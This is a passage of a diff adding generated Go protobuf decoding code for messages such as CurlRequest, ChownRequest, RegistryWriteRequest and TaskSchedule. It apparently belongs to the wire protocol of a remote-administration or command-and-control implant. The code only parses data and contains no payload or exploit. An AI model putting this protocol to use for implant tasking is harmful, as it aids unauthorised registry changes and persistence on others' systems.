wrong wireType = %d for field BufferSize", wireType) + } + m.BufferSize = 0 + m.BufferSize, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Dir", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Dir = bool(v != 0) + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cur", wireType) + } + m.Cur = 0 + m.Cur, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DownloadResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DownloadResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DownloadResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Checksum", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Checksum = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + m.Size, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cur", wireType) + } + m.Cur = 0 + m.Cur, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Content", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Content = append(m.Content[:0], dAtA[iNdEx:postIndex]...) + if m.Content == nil { + m.Content = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *CurlRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: CurlRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: CurlRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Url", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Url = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + m.Timeout, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Method", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Method = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Body", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Body = append(m.Body[:0], dAtA[iNdEx:postIndex]...) + if m.Body == nil { + m.Body = []byte{} + } + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Header", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Header == nil { + m.Header = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Header[mapkey] = mapvalue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hostname = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ChownRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ChownRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ChownRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Uid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Gid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Gid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Recursive", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Recursive = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *IfconfigResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: IfconfigResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: IfconfigResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NetInterfaces", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.NetInterfaces = append(m.NetInterfaces, &NetInterface{}) + if err := m.NetInterfaces[len(m.NetInterfaces)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RegistryRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RegistryRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RegistryRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Registry", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Registry == nil { + m.Registry = &Registry{} + } + if err := m.Registry.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Registry) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Registry: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Registry: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hive", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hive = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Key = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RegistryWriteRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RegistryWriteRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RegistryWriteRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hive", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hive = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Key = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringValue", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.StringValue = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ByteValue", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ByteValue = append(m.ByteValue[:0], dAtA[iNdEx:postIndex]...) + if m.ByteValue == nil { + m.ByteValue = []byte{} + } + iNdEx = postIndex + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field DwordValue", wireType) + } + m.DwordValue = 0 + m.DwordValue, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field QwordValue", wireType) + } + m.QwordValue = 0 + m.QwordValue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Regtype", wireType) + } + m.Regtype = 0 + m.Regtype, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskScheduleRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskScheduleRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskScheduleRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Taskschd", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Taskschd == nil { + m.Taskschd = &TaskSchedule{} + } + if err := m.Taskschd.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskSchedule) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskSchedule: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskSchedule: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecutablePath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ExecutablePath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TriggerType", wireType) + } + m.TriggerType = 0 + m.TriggerType, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StartBoundary", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.StartBoundary = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Description", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Description = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType 